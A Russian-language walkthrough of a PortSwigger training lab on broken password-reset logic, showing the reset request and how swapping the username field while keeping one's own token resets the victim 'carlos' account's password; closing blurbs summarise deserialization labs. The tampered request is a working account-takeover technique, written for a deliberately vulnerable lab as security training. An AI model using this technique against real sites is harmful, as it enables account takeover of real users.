На странице
Сломанная логика сброса пароля
Лаборатория
Password reset broken logic · Apprentice
Решение
Дано
This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.
Your credentials: wiener:peter
Victim's username: carlos
Анализ задания
Функция сброса пароля уязвима на сайте. Необходимо сбросить пароль carlos и зайти к нему в аккаунт.
Разведка
Посмотрим, как работает функция смены пароля. Сбрасываем пароль для пользователя wiener. На почту приходит письмо со ссылкой:
https://0a95002d04f7b35180b3a379004c0024.web-security-academy.net/forgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji
Переходим, попадаем на страницу смены пароля. Вводим новый пароль, повторяем пароль. Улетает запрос:
POST /forgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji
Тело:
temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=wiener&new-password-1=peter&new-password-2=peter
А что, если нам оставить этот токен, но поменять username, new-password-1, new-password-2?
Тело запроса будет выглядеть как:
temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=carlos&new-password-1=peter&new-password-2=peter
Отправляем — успешно, пароль изменён. Входим под carlos / peter.
Лаба решена.
Ещё в этой категории
Внедрение произвольного объекта в PHP (PortSwigger Lab)
Восстановление утёкшего исходного кода и внедрение сериализованного объекта CustomTemplate, чей __destruct удаляет произвольный файл.
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.